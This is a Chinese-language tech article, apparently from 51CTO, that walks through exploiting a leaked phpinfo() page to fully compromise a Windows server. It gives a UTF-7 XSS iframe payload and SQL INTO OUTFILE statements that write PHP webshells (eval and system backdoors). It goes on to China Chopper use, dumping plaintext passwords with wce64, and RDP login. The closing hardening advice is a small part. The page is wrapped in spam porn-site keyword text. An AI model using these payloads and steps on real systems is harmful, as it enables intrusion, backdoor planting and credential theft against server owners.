成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

PHPInfo()信息泄漏漏洞利用提權及防范

原創
安全 漏洞 應用安全
PHPInfo()函數主要用于網站建設過程中測試搭建的PHP環境是否正確,很多網站在測試完畢后并沒有及時刪除,因此當訪問這些測試頁面時,會輸出服務器的關鍵信息,這些信息的泄露將導致服務器被滲透的風險。

PHPInfo函數信息泄露漏洞常發生一些默認的安裝包,比如phpstudy等,默認安裝完成后,沒有及時刪除這些提供環境測試的文件,比較常見的為phpinfo.php、1.php和test.php,雖然通過phpinfo獲取的php環境以及變量等信息,但這些信息的泄露配合一些其它漏洞將有可能導致系統被滲透和提權。

1.1phpinfo函數

PHP中提供了PHPInfo()函數,該函數返回 PHP 的所有信息,包括了 PHP 的編譯選項及擴充配置、PHP 版本、服務器信息及環境變量、PHP 環境變量、操作系統版本信息、路徑及環境變量配置、HTTP 標頭、及版權宣告等信息。其函數定義如下:

語法: int phpinfo(void);

返回值: 整數

函數種類: PHP 系統功能

例如新建一個php文件,在其中輸入以下內容:

  1. <?php phpinfo(); ?> 

1.2phpinfo信息泄露

該函數主要用于網站建設過程中測試搭建的PHP環境是否正確,很多網站在測試完畢后并沒有及時刪除,因此當訪問這些測試頁面時,會輸出服務器的關鍵信息,這些信息的泄露將導致服務器被滲透的風險。

  1. <html>
  2.  <head> 
  3. <META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"
  4. </head> 
  5. <body> 
  6. <iframe src="http://域名/phpinfo.php? ADw-SCRIPT AD4-alert(document.domain); ADw-/SCRIPT AD4-=1"

1.3一個有phpinfo泄露滲透的實例

1.分析phpinfo函數暴露出來的有用信息

從網站phpInfo.php程序運行的結果中我們可以獲取以下有用的信息:

(1)操作系統為Windows2008 Server或者Windows7: Windows NT BNKUMDFI 6.1 build 7601

(2)服務器使用了Apache 2.4,這意味著如果拿到Webshell后99%可以提權成功,Apache在Windows環境下權限極高,默認為System權限。

(3)網站默認路徑:D:/WWW 通過mssql或者mysql直接導入一句話需要知道網站真實路徑,這個出來就很好辦了。

PHPInfo()信息泄漏漏洞利用提權及防范

圖1獲取有用信息

2.查看泄露文件

對根目錄進行訪問,如圖2所示,發現有mail.rar以及三個文件目錄,其中有一個phpMyAdmin,這個是mysql的php管理,有這個只要獲取數據庫密碼即可導入導出數據,包括導出一句話后門。對其中的壓縮文件進行下載,并查看其中的數據庫配置文件。

PHPInfo()信息泄漏漏洞利用提權及防范

圖2查看泄露的其它文件

3.獲取數據庫口令

在mail文件夾下,發現數據庫連接文件為connect.php文件,打開后獲取數據庫的用戶和密碼,數據庫用戶為root,密碼為空。

PHPInfo()信息泄漏漏洞利用提權及防范

圖3獲取數據庫用戶帳號和密碼

4.連接并查看數據庫

如圖4所示,在瀏覽器中打開http://183.***.160.***:5555/phpMyAdmin/,輸入剛才獲取的帳號,直接登錄,登錄后可以查看其所有數據庫。

PHPInfo()信息泄漏漏洞利用提權及防范

圖4登錄并查看數據庫

5.導出一句話后門到服務器

目前導出一句話后門的方法有以下幾種:

(1)創建表方式

  1. CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );  
  2. INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>');  
  3. SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php';  
  4. DROP TABLE IF EXISTS `darkmoon`;  

上面代碼是在mysql數據庫中創建darkmoon表,然后加入一個名字為darkmoon1的字段,并在darkmoon1的字段中插入一句話代碼,然后從darkmoon1字段里面導出一句話到網站的真實路徑“d:/www/exehack.php”,最后就是刪除darkmoon這個表,執行效果如圖5所示。

PHPInfo()信息泄漏漏洞利用提權及防范

圖5執行導出一句話sql腳本程序

注意:在使用以上代碼時必須選擇mysql數據庫,并在phpMyAdmin中選擇SQL,然后執行以上代碼即可。需要修改的地方是網站的真實路徑和文件名稱“d:/www/exehack.php”

(2)直接導出一句話后門文件

  1. select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/www/p.php' 

如果顯示結果類似“您的 SQL 語句已成功運行 ( 查詢花費 0.0006 秒 )”表明后門文件生成成功。

(3)直接執行命令權限的shell

  1. select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/cmd.php' 

該方法導出成功后可以直接執行DOS命令,使用方法:www.xxx.com/cmd.php?cmd=(cmd=后面直接執行dos命令),如圖6所示。

PHPInfo()信息泄漏漏洞利用提權及防范

圖6導入可以執行命令的webshell

6.獲取webshell

對導出的webshell在網站進行訪問測試,如圖7所示,如果沒有顯示錯誤,則表示可以運行,在中國菜刀一句話后門管理中添加該地址直接獲取webshell,如圖8所示。

PHPInfo()信息泄漏漏洞利用提權及防范

圖7測試導出的webshell

PHPInfo()信息泄漏漏洞利用提權及防范

圖8獲取webshell

7.服務器提權

通過中國菜刀隊遠程終端命令,直接在其中執行命令,如圖9所示,可以查看是否開啟3389端口,系統當前用戶的權限是系統權限,查看當前都有什么用戶。上傳wce64.exe并執行“wce64 -w”獲取當前登錄明文密碼。

PHPInfo()信息泄漏漏洞利用提權及防范

圖9執行命令

PHPInfo()信息泄漏漏洞利用提權及防范

圖10獲取系統管理員密碼

8.登錄3389

在本地打開mstsc.exe直接輸入用戶名和密碼進行登錄,如圖11所示成功登錄該服務器。

PHPInfo()信息泄漏漏洞利用提權及防范

圖10成功登錄該服務器

9.總結

系統一個小小的失誤,再加上一些偶然的因素,就導致一個系統被滲透,并獲取了服務器權限,因此phpinfo.php信息泄露不可忽略。phpinfo信息泄露還可以進行跨站攻擊,將以下代碼保存為1.html.

10.防范方法

(1)通過修改服務器環境內php.ini文件,將“expose_php = On”修改成“expose_php = Off”然后重啟php即可。

(2)如果確實需要該測試信息,在測試時使用,測試完畢后將該文件刪除掉。

(3)若無需要可以將一些php的危險函數禁用,打開/etc/php.ini文件,查找到 disable_functions,添加需禁用的以下函數名:

phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,

proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,

symlink,popepassthru,stream_socket_server,fsocket,fsockopen

責任編輯:藍雨淚 來源: 51CTO.com
相關推薦

2023-06-11 17:24:26

2017-04-07 09:46:16

2017-04-17 20:08:19

2021-05-01 20:52:30

漏洞網絡安全網絡攻擊

2013-11-29 15:34:00

2013-01-22 11:31:00

2015-03-13 10:06:55

2019-12-01 22:34:42

提權web安全漏洞

2020-10-06 13:58:25

漏洞

2010-12-10 15:23:49

Linux漏洞

2020-11-16 10:55:41

Windows

2022-03-10 09:41:15

漏洞Linux內核

2017-03-15 10:00:15

2015-05-27 11:31:32

Apache HBas信息泄漏漏洞

2023-10-09 18:22:35

2012-11-21 14:39:34

2014-08-27 16:02:53

2009-06-19 21:18:23

2013-08-06 17:27:56

2023-03-30 09:53:57

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 亚洲第一天堂 | 99热首页 | 成人亚洲片 | 亚洲成人一级 | 毛片一区二区 | 一级毛片大全免费播放 | 国产精品久久久爽爽爽麻豆色哟哟 | 91精品国产综合久久精品 | 久久国产精品精品国产色婷婷 | 免费骚视频 | 日韩精品免费视频 | 福利网址 | 国产电影一区二区 | 天天综合干 | 一a级片 | 亚洲精品一区二区三区蜜桃久 | 日韩av一区二区在线观看 | 精品乱码一区二区三四区视频 | 国产一区久久精品 | 四虎影院新网址 | 91精品国产色综合久久 | 一区免费 | 亚洲国产高清在线观看 | 草草草草视频 | 亚洲欧美日韩精品久久亚洲区 | 午夜精品久久久久久久久久久久 | 亚洲精品一区二三区不卡 | 日韩在线一区二区三区 | 国产女人叫床高潮大片免费 | 中文字幕精品一区二区三区精品 | 成人影| 紧缚调教一区二区三区视频 | 欧美亚洲国产一区二区三区 | 日韩在线观看视频一区 | 99色在线视频 | 一级黄色片在线免费观看 | 男女性毛片 | 亚洲精彩视频 | 亚洲一区二区在线播放 | 欧美aaaa视频 | 在线欧美一区 |